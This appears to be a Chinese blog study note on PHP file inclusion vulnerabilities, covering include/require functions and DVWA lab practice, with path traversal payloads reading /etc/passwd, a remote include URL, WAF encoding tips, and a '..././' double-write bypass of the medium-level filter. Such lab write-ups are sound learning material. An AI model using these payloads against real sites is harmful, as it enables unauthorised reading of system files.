参考文献资料:

https://www.cnblogs.com/s0ky1xd/p/5823685.html

https://www.cnblogs.com/yuzly/p/10799486.html

一、文件包含与漏洞

文件包含:

  开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:

  开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

二、文件包含漏洞用到的函数

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

三、目录遍历与文件包含的区别

  目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。

  文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

四、文件包含特征

?page=a.php
?home=b.html
?file=content

检测方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

五、DVWA练习

如果有waf拦截,可以尝试进行各种编码,例如 url编码,unicode编码,HTML实体编码,base64编码等等!!

1.修改php.ini配置文件开启文件包含功能

allow_url_include = on

  

将DVWA的级别设置为low

1.分析源码,可以看到没有对page参数做任何过滤

  

本地文件包含

2.尝试利用文件包含

2.1绝对路径

如果说外部文件包含不成功,

在uplodfile里一直出现allow_url_include not enbale问题我试着修改DVWA里的php.ini文件但是没有效果

这时去修改phpstudy里的对应PHP版本里的php.ini则有效果!

2.2 相对路径

2.3远程文件包含

最   重   要   的   一   部   分  !!!!!!!!!!!!!!!!!!

3.使用PHP封装协议读取或写入文件

7.2日详细写!!!!

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

讲DVWA设置为medium

查看源码可以发现

对部分输入的内容进行了过滤

使用绝对路径就可以:

但是使用相对路径就不可以:

同样的文件使用相对路径就会报错,所以说这里当然可以使用绝对路径,但是也可以用别的方式进行绕过

这里使用unicode编码并不能进行绕过

尝试使用url编码

哈~仍然不能绕过,

URL编码走一波

在LOW防护水平下可以看到,是可以的

但是在Meduim水平中,URL编码也是无效。

既然编码不行,简单来说还可以双写绕过,大小写绕过,下面一一试试

这里看到大佬提示,使用..././..././..././..././..././..././..././ 绕过../的过滤

..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././1.txt

可以看到哈,确实可以。

在Windows系统中,cd 只能进入文件夹,就比如图中的Windows/web文件夹,不能进入win.ini配置文件,但是在文件包含或者目录遍历中是可以的!!!

最新文章

  1. 连接第二个 insance 到 first_local_net - 每天5分钟玩转 OpenStack(83)
  2. Android自定义控件4--优酷菜单的菜单键及细节补充
  3. 使用StackExchange.Redis客户端进行Redis访问出现的Timeout异常排查
  4. H5中的拖拽事件
  5. C# List与DataTable的相互转化
  6. iOS 中关于ViewController总结
  7. ClassLoader
  8. activemq整合spring
  9. Ubuntu下Apache+php+mysql网站架设详解
  10. Java计算文件的SHA码和MD5码
  11. logstash 操作redis
  12. springboot启动时报错No session repository could be auto-configured.....
  13. 关闭默认共享,禁止ipc$空连接
  14. Redux Todos Example
  15. 更改mac系统语言及其软件
  16. CSS font系列
  17. 如何调优JVM
  18. MacOs执行SQL出错(mysql)
  19. 我遇到的问题:耗时久/效率低 ---> 应对方案: 行动-结果指向
  20. Java进阶路线图

热门文章

  1. 苹果电脑不支持ntfs磁盘怎么办?用这一招轻松搞定!
  2. 为什么思维导图软件MindManager成为了企业培训必备的工具
  3. Lumen中启用session
  4. Oracle数据库由dataguard备库引起的log file sync等待
  5. 牛客练习赛69 E 字串(哈希)
  6. spring bean注册和实例化
  7. python—数据类型和变量
  8. (十八)面向流水线的设计:CPU的一心多用
  9. moviepy AudioClip帧处理ValueError: The truth value of array with more than one element is ambiguous
  10. PyQt(Python+Qt)学习随笔:QTableWidgetItem项操作相关的flags、isSelected、checkState方法